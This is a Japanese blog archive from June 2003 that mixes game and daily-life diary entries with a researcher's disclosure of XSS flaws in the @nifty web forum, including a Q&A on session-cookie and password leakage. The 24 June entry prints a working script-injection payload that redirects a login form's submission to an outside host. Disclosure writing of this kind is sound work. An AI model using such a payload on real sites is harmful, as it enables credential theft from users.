2003年6月
2003年6月30日(月曜日)
きっかけはFPROG
個人的にはなぜ今ごろばけらさんがニフティのWebフォーラムの脆弱性を発見したかという当りに興味があったりしますが(謎)。
以上、りゅうさんの偽偽夜食日記の部屋2003年6月 より
たまたま 6月 18日に FPROG (@nifty プログラマーズフォーラム) のサイト (forum.nifty.com)が Not Found だったというのが全ての発端です。
- FPROG が Not Found だった。
- ひょっとしたら移転したかも知れないと考えた (過去に何度も URL が変わっているので)。
- ニフティのサイトの中から FPROG を検索してみようと思った。
- 適当にみていたら、フォーラム検索 (com.nifty.com)というのがあったので、FPROG を検索してみた。
- ヒットせず。
- javaScript 無効だと動かないのかなどと疑念を抱いたりしつつ、何なら検索できるのか、いろいろな文字列で試してみた。
- ……XSS 発見。
と、こんな経緯です。何で今頃、という質問に対しては、「たまたま FPROG が Not Found になったから」という回答になりますか。
- 「きっかけはFPROG」へのコメント (3件)
セキュアサイトシールは飾りか
更新: 2007年4月8日
セキュリティホールmemo の ML に「ベリサインのセキュアサイトシールは飾りか」などという話 (www.st.ryukoku.ac.jp)がありましたが、もちろん YES でしょう。何しろ任意の内容のセキュアシールを捏造できる状態ですので、ベリサインのセキュアサイトシール自体に信頼性が全くありません。
この話は「いまだに残る日本ベリサイン偽装問題 Beyond Security とiDefense が検証(2002.7.5) (www.netsecurity.ne.jp)」という記事でずっと前から公になっていますが、いまだにできてしまうようですね。
※2007-04-08追記 : ずいぶん前にシールは新しいものになり、古い URL ではアクセスできなくなりました。今ではこの捏造はできなくなっているはずです。
こういうのも一種の XSS と言えるのかしら。
やたら隠したがる人
「URL を見せるのはセキュリティ的に良くない」。
来た! 来ましたね。もうね、いいからとりあえず高木さんの「安全なWebアプリ開発40箇条の鉄則」あたり読んどいてください。
※昔は 32箇条だったような気がしますが、いつのまにか条項が増えている……。
しかしまあ、こういう人がシステムを作ったりしているから、あんなことやこんなことが起きたりするんでしょうね……。
2003年6月29日(日曜日)
ロックマン
たまにファイルがロックされていて例外が出る件、やはり FTP がロックしているようです。ダイヤルアップで約 900KB の XML ファイルを更新してみたら、ずいぶん長いことロックされていました。
どうも IIS の FTP は、ファイル転送開始から終了までの間ずっと、そのファイルを読み書き禁止でロックしているようです。うーん、ProFTPd とか WU-FTPd なんかでは転送中はロックせず、転送完了の瞬間にファイルが置き換えられているだけだったような気がするのですが……。
ともあれ、悠長に FTP しているとその間中読めなくなるので、手元で XML を書いて FTP するのではなく、サーバ上で直接書き込めるようなシステムにした方が良さそうですね。
関連する話題: えび日記 / hatomaru.dll
余計なもの対策
末尾にクエリストリングがついている場合、除去してリダイレクトするようにしました。
アンテナ系が末尾に余計なクエリストリングをつけていたりしますが、それは更新されたときに a:link 扱いにしたいというだけの話だと思うので、リダイレクトでも特に問題ないのではないかと。
関連する話題: えび日記 / hatomaru.dll
火の6月
リーヴェルファンタジア (www.amazon.co.jp)最少リンクプレイは、難関の6月に突入。とりあえずスプーキーをマニプルフックに進化させて、ヘッジジェリーはあえて作らずに火の迷宮へ。
……10回くらい死にましたが、意外にあっさりとクリア。実は、クリアするだけなら溶岩を流したりする必要は全くないんですね。
※このゲームでは、HP が 0 になってもただホームに戻されるだけで、べつにマリエルが死ぬわけではありませんが、ここでは HP が 0 になることを便宜的に「死ぬ」と表現しています。
……で、ここで気づきました。マニプルフック必要ないじゃん。
うーん、6月のクリアに必須だと思っていたんですが、使わないでクリアしてしまったのですよね。あとは 9月の風の迷宮で使うところがあるのですが、これもクリアするだけだったら必要ないような気がひしひしと。
マニプルフックを作る前のデータは……4月でした。4月からやり直しね……。
関連する話題: 出来事 / ゲーム / リーヴェルファンタジア
2003年6月28日(土曜日)
リーヴェル系
アンリミテッド:サガ (www.amazon.co.jp)は一通りクリアしたので、だいぶ前に中断していたリーヴェルファンタジア (www.amazon.co.jp)の最少リンクプレイを再開。
ちなみに今回のプレイ条件は以下の通り。
- 妖精とのリンクを最小限にする。
- 奇跡妖精を使わない。
- 合成の本を封印。
最初の条件が肝で、要するに妖精をできるだけ仲間にしないというプレイです。初回プレイで妖精 100人全員とリンクできたので、今回は逆を行こうというそれだけの主旨だったりします。とは言ってもクリアするためにはリンクせざるを得ない妖精も多いので、「極力」リンクしないということになります。ただし、リンクしなければ OK なので、レシピをもらう、会話する、などによって妖精図鑑に載ることは制限しません。むしろ妖精図鑑はできるだけ充実させる方向で。
この条件のプレイ難易度への影響は実はそれほど大きくないのですが、一部の技能妖精が使えなくなります。実はほとんど問題ないのですが、唯一、ヘッジジェリーなしで 6月をクリアしなければならないのが問題になるでしょう。マグマで HP がガンガン減少しますが、レスキュアも封印されているので HP を回復させることもできません。
二番目の条件は、まあオマケです。奇跡妖精は、友情の奇跡妖精を除いてリンク必須です。よって最初の条件だけでは友情以外の奇跡は制限されません。今回は極力妖精を使わないと言うことで、奇跡妖精の使用を禁止します。
で、最後の条件もオマケで、合成の本を買いません。これがないとオーラストーンやミスリルが合成できません (モントライトや暁の滴は最初の条件によって合成不可)。まあ、特に問題はないでしょう。
で、この条件で「3月」の途中まで来たところで止まっていたので、そこから再開。やっぱりマリエルの操作性悪いなぁなどと思いつつ、さっさと真実の鏡を入手して 3月をクリア。
※どうでも良いですけど、こんなでっかい鏡を持って帰ったのですかマリエルは。それとも、ストアジョニーで「よいしょ」してきたのかしら。
4月。銀の森と世界樹。条件により物語の妖精や友情の奇跡妖精とはリンクできないので、3月でわざと迷子のクインシーを無視しています。そのためヘイゼルやキャシーのイベントは発生せず、魔女マリエルも見られずに寂しく終了。このイベント好きなのに……。
※このイベントに限らず、ストーリーは全体的に好きです。
銀の森は、誰も住み着かないとか言いつつ妖精が結構いるのですが、みんな会うだけにして通過。世界樹ではバターカップ無視。ピクシーは強制的にリンクが成立してしまうので、仕方なしに祝福してもらいます。ここで初めてマリエルの AP が上昇……。
で、5月。ホリーの話。スノーバニーを誕生させて普通にクリア。あとは借金返済だけですが、資金が全然足りません。1月のうちに 99個作っておいた虹の結晶からジェネテリアを合成して売却するのですが、この成功率が低いこと。成功率はだいたい 1/3 くらい?
本日はここで終了。
関連する話題: 出来事 / ゲーム / リーヴェルファンタジア
2003年6月27日(金曜日)
余計なものがついている
うーん、http://altba.com/bakera/hatomaru.aspx/ebi/?06240140 なんてのをリクエストされると、ちょっとまずいことになりますね。末尾にクエリストリングがつくのは対策したんですが、スラッシュまで余分についてくるとは。
そのうち何とかしよう……。
関連する話題: えび日記 / hatomaru.dll
XSS in cfm
ColdFusion の生成するエラー画面に XSS を発見。すわ、と思ったらパッチは出ているのだそうで。
逆に言うと、ColdFusion にパッチを当てないで使っているところが多いということなのでしょうね……。
XSSは修正完了?(XSS大王続報)
ニフティ Web フォーラムの件ですが、トップ (com.nifty.com)に以下のようなインフォメーションが出ました。
6月27日14:00 ~ 15:00の時間帯、システムメンテナンスのためフォーラムサービスを停止いたします。ご迷惑をおかけいたしますが、何卒ご了承ください。 ※メンテナンス作業が終了次第、サービスを公開いたします。
このメンテナンスは実施され、ほぼ予定通りの時刻に完了したようです。この結果、Web フォーラムに存在していたクロスサイトスクリプティング脆弱性のいくつかが修正されました。以下の 3ヶ所が修正されたことを確認しています。
- https://com.nifty.com/community/login.go
- https://com.nifty.com/community/mydesk/profile/edit.go
- https://com.nifty.com/community/mydesk/flist.go
このうち最初のものに 24日の DOM の話にある exploit が適用可能でしたが、修正されました。
このメンテナンスによって、私の把握していたクロスサイトスクリプティング脆弱性は全て修正されたことになります。ただし、以下の点に注意が必要です。
- 私は目についた部分しか調査していませんし、私に情報を提供してくださった方にしても同様でしょう。私が把握していない部分にクロスサイトスクリプティング脆弱性が存在しており、それは修正されていないかも知れません。
- Cookie のドメイン指定の問題によるセッション Cookie 漏洩のセキュリティホールは、まだ修正されていません。
前者については「危険なところがあるかも知れない」というだけですが、後者については明らかに危険な状態のままですので注意してください。
また、クロスサイトスクリプティング脆弱性は修正されましたので、以前私が公開していた exploit コードを悪用することは不可能となりました。そこで、一度伏せた解説を再掲することとしました。18日の最初の記事の内容が一部復活していますので、興味ある方はご覧ください。
不気味な結果
セキュリティホールmemoで紹介されていた IE のホゥル (www.st.ryukoku.ac.jp)をテストしてみましたが、Windows 2000 SP3 + IE6.01 SP1 と Windows XP Professional SP1 + IE 6.01 SP1 の環境ではどちらも何も起きず。小島さんの環境では英語版のみで再現したようなので、日本語版では再現しないのかも知れません (私のテスト環境はいずれも日本語版)。
しかし、バッファオーバーフローのデモを実行して何も起きなかった、というのが一番不気味な気がしますね。どこかで正しいメモリの値を書き換えてしまっている可能性があるわけで、その後に何が起きるか想像もつかないようところが。
そんなわけで、どちらも速攻で再起動。
※いや、実は一瞬だけ Windows 2000 Server の環境 (このサーバ!!) で試してみようかという考えが過ぎったりしたのですが、いくら何でもねぇ。
関連する話題: セキュリティ / Internet Explorer
7人クリア
アンリミテッド:サガ (www.amazon.co.jp)、アーミック編終了。ラスボスは、バリアのはがし方が良く分かりませんでしたが (実は今も良く分かってない)、割と楽勝でした。
HP 400 超えてたのはレベッカだけ (この人は最初から HP 400 超えてます) で、アーミックの HP は 300 ちょい、アンリなどは 240 くらいでしたが、それでも余裕を持って勝利。武器も鋼の槍だったり霊木の弓だったりしたのですが、意外に問題ないものですね。アーミックが軽さを生かして千手観音を使えたのが割と良かった感じ。
※あと、クリムゾンフレアって暗闇の追加効果があるんですね。この戦闘で初めて知りました。なにせ、敵に喰らわせても暗闇効果が発生したかどうかなんて分からないもので。
そんなわけで 7人全員終了。7人クリアするとそれなりなエンディングがあって、スタッフロールが出たりします。歌つき。でも、ここまで見た人ってそんなに多くないでしょうね……。
それでもって午前中、「Tナビ (panasonic.co.jp)」のテレビの実物を見ようと思ってビックカメラに寄ったら、アンリミテッド:サガはやっぱり 1980円で大量に売られていました。いろいろな意味で感慨ひとしおですね。
関連する話題: 出来事 / ゲーム / スクウェア / Sa・Ga / アンリミテッド:サガ
2003年6月26日(木曜日)
XBitHack
XBitHack Full とすると、SSI でも last-Modified が出力されるようになるのですね……。迂闊にも今まで知りませんでした。
覆面
記名投票の結果は25対25の可否同数で、議長裁決で否決した。
覆面問題は、自民系会派や無所属会派が「議場にふさわしくない」「表情が見えない」などと主張。サスケ県議が所属する自由系会派や共産は「覆面姿で選挙運動をして当選したのだから規制はできない」などと容認する考えを示し、意見は真っ二つに割れていた。
こういう話を聞くと思い出すのは、大学でのある出来事です。
教養科目の物理でしたか、正確な科目名は覚えていませんが、B棟の二階で行われている講義がありました。その教授は、良く言えば礼儀に気を遣う方だったようです。あるとき、男子学生が帽子をかぶったままでいたのですが、その方は講義前に毅然として「帽子を取れ」と言われ、その学生が帽子を取るまで講義を始めようとしなかったことがあります。
そんな方の講義も終わりに近づいた、ある日。
その講義に、帽子をかぶった女子学生が出席していました。教授はあのときと同じように、「帽子を取りなさい」。
その場にいたほぼ全員の目が彼女に注がれます。彼女はしかし、帽子を取ろうとはしませんでした。
教授は同じ言葉を繰り返します。彼女は、おもむろに帽子に手をかけ……そのまま俯きました。肩が、小刻みに震えています。彼女が泣いていることは、誰の目にも明らかでした。彼女がどうして帽子をかぶっているのか、どうして帽子を取ろうとしないのか、その理由も、今や明白でした。
教授も悟ったのでしょう。最後にこう言って講義を始めました。「事情があるなら、良い」と。
講義は始まりましたが、そこには苦い空気が漂っていました。
……だから、私は思うのです。顔面に大きな火傷を負って皮膚移植を受け、医療用のマスクをかぶっているような人も、「議場にふさわしくない」「表情が見えない」という理由で拒否されるべきなのだろうかと。最終的に否決されたとは言え、可否同数という結果は、岩手県の人々の半数がそれを支持しているということを意味しているのでしょう。
そう思うと少しだけ、あのときの苦さがよみがえるのでした。
関連する話題: 政治
物忘れ
いや、もうね、以下略。
- vi の基本操作を忘れている。保存終了の仕方すら忘れてる……。
- 大胆に chmod -R 644 したら FTP でログインできなくなったり。
※ログインできなくなったのはディレクトリまで 644 にしちゃって cd できなくなったのが原因。
鈍った鈍った。思えば、あのサーバを管理していたのは二年も前のことなわけで……。
関連する話題: サーバ
2003年6月25日(水曜日)
バス停にて
昨日の夜は湿度が高く、駅前には
- 駅前ロータリーのバス停にて、バス待ちの列に並ぶ。
- 私のすぐ前の人が、予告もせずに
煙草 に火をつける。 - 素早く後ずさる私。とりあえず 5メートルほど距離を取る。
- その位置で、ときおりこちらに飛んでくる煙を扇いで回避しつつ、バスを待つ。湿度が高いからか、煙はよく見えました。
- そうしたら、あー、前に並ばれた……。
とまあ、ここまではひたすら良くある日常の一光景ですが、この後に興味深い出来事が。
問題の人が煙草を吸い終わる前にバスが来て、列が進み始めました。それに合わせてその人も足を進めたのですが、その人、バスに乗る手前で一瞬、ピタリと硬直したのですね。その後、煙草を足下にポイと捨てて踏みにじり、何事もなかったかのようにバスに乗られました。
この硬直は何だったのか、私にはすぐ分かりました。実は少し前まで、その場所には灰皿があったのです。その人はいつも、その灰皿に煙草を捨てていたのでしょう。しかし今日はそれがなかったので一瞬戸惑い、足下に捨てたというわけです。
何故そこに灰皿がなかったのかというと、それは健康増進法に伴ってバス停が禁煙になったためなのですね。……なのですが、バス停には禁煙の表示も何もなくて、バスの車内にちょっと広告がでているだけだったりします。これはわかりにくい。実際、知らないで思いっきり吸っている人がいたわけで、それでは意味がありません。駅の全面禁煙はちゃんと周知されている感じですし、もっとしっかり告知すれば何とかなると思うのですが……。
そして翌日の今日。朝から土砂降りでした。降雨量が道路の排水能力を上回っているらしく、道路の脇には水がたまっていました。
私はいつも、屋根のあるバス停でバスを待ちます。当然今日も、傘をたたんでバスを待っていました。待っていたのは私を含めて 3人。
やがて、派手に水しぶきを上げて、バスが来ました。ここで微妙なのは、バス停の屋根が路上までは達していないという点です。当たり前と言えば当たり前なのですが、バスに乗るためには、屋根のない 1メートル弱の空間を通過しなければなりません。とはいえ、一歩で通過できる距離ですから、素早く通過すればわざわざ傘を開く必要もないでしょう。
まず、最初から待っていた年配の女性が駆け足で乗り込みます。間髪入れずに、もう一人女性が乗り――実は私の方が先に待っていたような気もしたのですが、こだわりません――間を置かずに私が乗り込もうとしました。その時です。
不意に、前の人が立ち止まりました。それがちょうどバスの入り口を塞ぐ形で……その時私は、問題の 1メートル弱の空間に位置していたわけで。
ぎゃー。
そのまま数秒、前の人は止まっていました。そして私も。……まあ、とりあえず、持っていた本は濡れなかったので、良しとしましょう。
で、問題は何故こうなったかなのですが、前の人も好きで止まったわけではなくて、そのさらに前の人が止まったので仕方なく立ち止まったようなのですね。では、その人はどうして止まったのかというと、バス共通カードを乗車口カードリーダーに通そうとしていたのです。
非定額料金のバスをカードで利用する場合、乗るときと降りるときに一度ずつ、カードをリーダーに通す必要があります (これは会社によって異なり、乗車時に行き先を申告して一度だけ通すタイプもあります)。降りるときのインターフェイスは電車の自動改札に似ていて、これは問題ないのですが……乗車口のカードリーダーは微妙に使いにくいのです。何と言いますか、高さをぴったり合わせて水平に挿入しないといけないのですね。これが意外に難しい。私も昔バス共通カードを使っていましたが、乗るときにリーダーに挿入するのを失敗することが何度もありました。
※参考:「ひと味違う 青梅支所のバス 2」(http://www.yamahiro.net/jubako72.htm) の二番目の写真。
一番酷かったときは、一度失敗してやり直そうとしたとき、急に身体がぐらりと揺れて、倒れそうになって……何かと思ったら、バスが発進してたんですね。おーい、まだカード通してないよ……。
※せっかくなのではっきり書いておくと、これに遭ったのは都営バスの「梅70」という路線です。私は西武バスではこういう目に遭ったことはなく、むしろ運転手さんが「座ってください」と注意を促す場面を良く目にします。
※なお、乗るときにカードを通せなかった場合、降りるときに乗ったバス停の名前を告げれば OK。それを怠ると始発からの料金が引かれます。
話を戻すと、おそらくはその人も、すらっとカードを通して素早く乗り込むつもりが、カードの挿入に失敗して戸惑ったのでしょう。そこで立ち止まり、次の人が入り口で立ち往生し、私は雨の中で立ち往生したと。やっぱり乗るときのカードが通しにくいのが問題だと思うのですが、あれはもう少し何とかならないのでしょうか。あるいは Suica みたいなもの導入希望……。
ロックする?
何かたまにこんな感じの例外が発生してるんですが……。
Type: System.IO.IOException
Message: プロセスはファイル "index.xml" にアクセスできません。このファイルは別のプロセスが使用中です。
こういうのは単に catch してリトライすれば良いのでしょうけれど、そもそもどうして発生するのでしょうね。基本的には読み取りだけしかしていないはずなんですが。
可能性としては、とりあえず
- コメント投稿時、touchする (内部的には、LastWriteTime を書き換える) ときにロックしている
- FTP で更新するときにロックしている
の二通りが考えられますが。IIS の FTP って転送中ずっとターゲットのファイルをロックしたりするんでしょうか?
あと、Last-Modified 関係もやっぱり怪しいようです。hatomaru.dll 側ではキャッシュとか難しいことはしないようにして、リバースプロキシでも入れてやるとかした方が良い……のかしら?
関連する話題: hatomaru.dll / えび日記
XSS大王Q&A
更新: 2003年6月27日
各所で話題になっているようですが、それなりに勘違いされている人もいるようなので、 Q&A を少し。何のことか分からない方は日経 BP の「ITPro ニュース:@niftyの電子掲示板に「クロスサイト・スクリプティングぜい弱性」,緊急メンテナンスを実施 (itpro.nikkeibp.co.jp)」を読んだ上で、話題「ニフティ」を含むえび日記を一通り読んでみてください。
- Q1. この脆弱性を利用できるのはニフティ会員だけなんだろ?
NO。マネジャーなどから「ログインした人だけにしか悪用できないので、悪用されても発覚する」という説明がなされていることもあるようですが、それは違います。そもそも、内部の書き込みによる XSS は多数ある問題のうちのひとつに過ぎません。また、掲示板によってはログインしないで書き込みできるものも存在していました。日経 BP の記事にもそのような誤解を招く書き方がありますが、ニフティ会員にしか悪用できない性質のものではないのです。
特に今回のケースでは、問題が一点だけではないことに注意してください。
- Q2. 結局どんな脆弱性があったんだ?
当初公開されたのは以下の 4点です。
- 検索フォームの脆弱性によるセッション Cookie 漏洩 (修正済み)
- Webフォーラム書き込みの脆弱性によるセッション Cookie 漏洩 (タグ書き込み機能一時停止により対処、現在修正中)
- https://com.nifty.com/forum/login.go のログインフォーム改竄による ID ・パスワード漏洩 (修正済み)
- https://com.nifty.com/forum/login.go ログインフォームの脆弱性によるセッション Cookie漏洩 (修正済み)
セッション Cookie が漏洩すると、成りすましログインができてしまいます。誰かに成りすまして投稿したり、プロフィールを閲覧、修正したりすることができます。ID・パスワードが漏洩するとどうなるのかは、まあ説明するまでもないでしょう。
さらに、以下の問題が公になっています。これはニフティも把握していますが、対応予定は未定です。
- セッション Cookie のドメイン設定の問題により、nifty.com 以下の任意のサイトでセッション Cookie の値を読み取れてしまう。セッション Cookie 漏洩。
また、別の様々な場所にクロスサイトスクリプティング脆弱性が存在することが報告されています。これは私が個人的につかんでいる情報で、まだ公にはなっていません。exploit コードが実際に動作することは確認しています。
※2003-06-26 追記: 私が把握したものについては全て報告済みですので、修正されることが期待されます。情報を提供してくださった方に感謝いたします。
※2003-06-27 追記: 25日に追加で報告した 3ヶ所のクロスサイトスクリプティング脆弱性は、27日のメンテナンスで修正されました。予想以上に素早い対応で、これは高く評価したいと思います。ただし、Cookie ドメインの問題はまだ残っていますので注意が必要です。
- Q3. そんな捏造フォームには誰もだまされないだろ?
単に「似たようなフォームを持つページを別途作る」という話だと誤解していませんか?
クロスサイトスクリプティング脆弱性によるフォーム捏造の場合、本物と同じ URL を持ち、本物と同じ SSL の保護が付き、本物と同じサーバ証明書がついたフォームが作れます。もちろん見た目にも全く本物と同じにできます。怪しいパラメータがつくことがありますが、本物のフォームにも長いパラメータがつきますので判別は困難ですし、パラメータを隠蔽したければ POST メソッドを使って渡してやっても問題なく動作することを確認しています。正直、私はこれにだまされない自信はありません。
具体例が想像できない方は、フォームの送り先だけがひそかに改竄されている、というイメージで捉えると良いと思います。本物と全く同じところに入力して、しかしながら送り先が攻撃者のサーバというわけです。もちろん攻撃者のサーバは、ID とパスワードを記録したらちゃんと正しい場所へリダイレクトしてくれるでしょうから、ログインは成功します (失敗したってパスワード間違えたか、くらいにしか思わないでしょうが)。
※2003-06-27 追記: ログインフォームに存在していたクロスサイトスクリプティング脆弱性は、27日のメンテナンスで修正されました。私が知る限りの範囲では、この脆弱性が利用される余地はなくなりました。……あくまで、私の知る限りの範囲に限った話ですが。
- Q4. サーバに侵入することはできなかったんだろ?
ええと、クロスサイトスクリプティング脆弱性の問題を理解していますか? これはそもそも侵入するとかしないとかいう問題ではありません。答えとしては YES になりますが、だからといって問題ないというわけではありません。そもそも私はサーバに侵入なんて試みてさえいませんので、そこのところ一つ。
- Q5. そういうことは実際他人の ID を盗んでから言え!
私はいちおう exploit コードを実際にテストして動作確認しています。私もニフティの会員ですので、自分自身のセッション Cookie や ID、パスワードが盗めるかどうかテストしました。結果、盗めました。私はこれで十分だと思うのですが……実際に他人のを盗んでしまったら犯罪になりますんで、勘弁してください。
※……なんか、手元のログに私のテストじゃないのも残ってたりするんですが、これはテストだと信じたいなぁ。
- Q6. スクリプト無効で対処できる?
残念ながら NO です。これで対処できるのなら私などは安心なのですが……。
ただし、攻撃手法によってはスクリプト無効で防ぐことができる場合もありますので、効果が全くないわけではありません。
- Q7. 実際に被害は発生していないんだろ?
ニフティはそう主張しているようですが、何とも言えません。少なくともニフティには exploit の形跡が残っており、しかしながらその追跡調査は行われていません。つまり、被害が発生したかどうかについての調査は行われていないのです。
また、そもそもこれによる被害は明るみに出ない性質のものです。ひそかに個人情報が盗まれて売却されていたとして、その被害に気づきますか? 被害報告がないことをもって被害が発生していないと判断するのは早計に過ぎます。
- Q8. 今は問題は修正されてるんだろ?
残念ながらされていません。前の回答と重複しますが、対応されたのは Web フォーラム内部の書き込みで、これは問題の一つに過ぎません。未対応の問題がいくつも残っています。
- Q9. 俺がやってみるから exploit 教えてくれ!
やらないでください。自分でテストするだけなら良いですが、人を罠にはめると犯罪なので……。そもそも、普通の Web 制作の知識があれば、教えるまでもなく普通に思いつくと思います。って、自分で思いついても自分でテストするだけにしてくださいね。
- Q10. ていうか、exploit 公開してたんでしょ?
していました。その exploit が実際に機能し、それに脅威を感じたからこそこれだけ素早く動いたのではないかと思います。そんなわけで、公開していた exploit は今は通らなくなっています。……公開していた分は、ですが。
- Q11. 騒ぎすぎだろ。
ええと、まず日経 BP の記事を書いたのは私ではないので、その点ご理解ください。
それから、私が Web フォーラムに初めてログインしたのは 6月18日です。初めてログインしたときには、既に脆弱性の存在に気づいていました。ですから私などは最初から用心していたわけで、被害にはまず遭っていないだろうと思われます。特にあわてる必要もないわけです。
ただ、何も知らずに以前から Web フォーラムを利用していた方は、それは心配になるでしょう。何しろ自分の知らないうちに ID やパスワードが盗まれていて、密かに個人情報が盗まれているかも知れないわけですから。騒ぎすぎ、と言うことはないと思います。
- Q12. 個人情報が盗まれたってどうってことないだろ。
そう考える人がいてもおかしくはないですね。しかし、そうは考えない人も多いはずです。ID とパスワードが盗まれると、個人情報が盗まれるだけでは済みませんしね。
- Q13. システム側の対処としては入力値をサニタイズすれば OK?
クロスサイトスクリプティング脆弱性にはそれで対処できます。サニタイズが適切ならば、の話ですが。
しかし困ったことに、クロスサイトスクリプティング脆弱性とは関係のないセキュリティホールも存在しています。それは「Cookie のドメイン範囲の問題によって nifty.com 以下どこでもセッション Cookie が読める」という問題です。この問題の詳細は「XSS大王・さらなるホゥル」を参照していただきたいと思いますが、これはサニタイズの有無とは全く関係ない問題なので、すぐに修正することは難しいと思います。もちろん現時点では未修正です。
- Q14. Cookieのドメイン問題が修正されているかどうかはどうすれば分かりますか?
Web フォーラム (や、@niftyコミュニティ) にログイン後に Cookie操作装置 (http://hpcgi1.nifty.com/bakera/set-cookie.cgi ※現在 NOT Found です) のようなものにアクセスしてみて、PARAMD という Cookie の値が表示されるかどうか見てください。表示されていれば、セッション Cookie は簡単に盗める状態です。
- Q15. 大手がやってたから問題になっただけで、掲示板にタグが書けるなんてどこにでもある話なのでは?
どこにでもある、というご意見には同意します。クロスサイトスクリプティング脆弱性は、もういたるところに存在していて、もううんざりするほど見てきました。
ただ、今回の件で特に問題なのは、そこが会員のログインを要する場所であり、そのセッション Cookie が漏洩する問題があった点でしょう。同様に ID・パスワード漏洩の危険性もありましたが、これは @nifty のダイヤルアップ PPP 接続に使える他、もうありとあらゆることに使えてしまいます。
そんなわけで、ログイン機能を持たない掲示板とは少々事情が異なるものと思います。まあ、ログイン機能がなければ脆弱でも問題ない、というわけではないのですが……。
とりあえず、こんなところですか。
他にも質問がありましたら随時答えたいと思いますので、質問のある方はコメントとして書いてみてください。
長いフィールド
まあ、間違ってないんですけど……。
Accept-Language : ja-jp, ja;q=0.98, en-gb;q=0.97, en;q=0.95, de-de;q=0.93, de;q=0.92, fr;q=0.90, it-it;q=0.88, it;q=0.86, nl-nl;q=0.85, nl;q=0.83, el-gr;q=0.81, el;q=0.80, es;q=0.78, da-dk;q=0.76, da;q=0.75, ga-ie;q=0.73, ga;q=0.71, no-no;q=0.69, no;q=0.68, sv-se;q=0.66, sv;q=0.64, pt-pt;q=0.63, pt;q=0.61, eo;q=0.59, tr-tr;q=0.58, tr;q=0.56, ru-ru;q=0.54, ru;q=0.53, vi-vn;q=0.51, vi;q=0.49, cs-cz;q=0.47, cs;q=0.46, hr-hr;q=0.44, hr;q=0.42, hu-hu;q=0.41, hu;q=0.39, pl-pl;q=0.37, pl;q=0.36, fi-fi;q=0.34, fi;q=0.32, ro-ro;q=0.31, ro;q=0.29, sk-sk;q=0.27, sk;q=0.25, sr-yu;q=0.24, sr;q=0.22, bg-bg;q=0.20, bg;q=0.19, mk-mk;q=0.17, mk;q=0.15, uk-ua;q=0.14, uk;q=0.12, yi;q=0.10, he-il;q=0.08, he;q=0.07, ar;q=0.05, th-th;q=0.03, th;q=0.02
ものすごく国際的な方がいらっしゃるんですね……。
※いっそ * で良いのではないかと思いますが、* を使うと Netscape Enterprise で謎の Not Found が発生したりするのであえてこうしているのかしら。
関連する話題: HTTP / Netscape-Enterprise
2003年6月24日(火曜日)
DOM万歳(XSS大王つづき)
いろいろいじっていて、こういう exploit を思いつきました。
"><script>document.getElementsByTagName("form")[1].setAttribute("action","http://altba.com");document.getElementsByTagName("form")[1].setAttribute("method","get")</script><span
フォームは本物なのですが、その送り先だけを DOM なスクリプトで改竄するという荒技です。method は書き換えなくても良いのですが、http://altba.com/ が GET しか受け付けないのでこうしてみました。あとは GET にすると入力値が URL として表示されますので、漏洩していることがわかりやすいというメリットもあります。もちろん、実際の犯行時は POST のままの方がバレにくいです。
……こんなのが何処で使えるのかはいちおうナイショにしておきますが、要するにまだ残っているということです。
※というか、実は office さんに教えてもらったところだったり……。
これの良いところ (!?) は、他の脆弱なフォームにも応用が利いてしまうという点です。ターゲットの form の場所に応じて [1] を [0] にしたりするだけで、ほとんどのフォームに応用できます。普通のフォーム捏造だと本物を隠したりするのが面倒だったりするのですが、これならその心配全くなし。文字列の中に空白が含まれていないのもポイント高いです。ただし DOM に対応していないブラウザだとか、スクリプト無効環境では効果がないのが難点ではあります。
……まあ、ちょっと悪ふざけが過ぎる感じもしますが、「こんなこともできてしまうので警戒しましょうね」ということでひとつ。
とりまとめてください
更新: 2009年5月15日19時0分頃
こんなログが。
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:51:47 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:56:52 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:56:52 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:56:52 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
2003-06-24 05:56:52 218.44.76.90 - 211.16.234.154 80 GET /robots.txt - 416 Hatena+Antenna/0.4+(http://a.hatena.ne.jp/help#robot) -
取りに来るのは良いのですが、同じリソースを何度もゼロ間隔でというのはちょっと。たぶんアンテナに登録しているユーザの数だけリクエストしているのだろうと思いますが、一回にまとまらないのかしら。
応答のステータスが全部 416 になっていますが、これはサイズ 0 のリソースに Range つきリクエストをしているためです。サイズ 0 でも 0バイト目から取得すれば 200 なり 204 なり 206 なりになるのでは、などと思うかもしれませんが、実は Range の範囲は 1バイト目からのオフセットなのです。たとえば、次のようなフィールドを含む GET リクエストを送ったとします。
Range: bytes=0-0
範囲が 0~0 なので空文字列が得られる……なんてことにはならなくて、これは最初の一文字を得る結果になります。
※206 応答ができるサーバならば、ですが。Range 指定があっても 200 で応答して内容全部を送ってくるサーバもあり得ます。
そんなわけで、もともとのサイズが 0 であれば Range つきリクエストは必ず 416 になってしまいます。これは IIS だけでなく、Apache でもやはりそうなります。仕様的にも正しいのですが、サイズ 0 だったら 204 で応答してくれたほうが嬉しいような気もしますね……。
※2009-05-15追記: 現在ではrobots.txtへのリクエストには204(No Content)で応答するようにしています。
s/出来ます/できます/g
時期を外したコメントですが、わたやんさんの不定期戯言 (homepage2.nifty.com)を読んでいて。
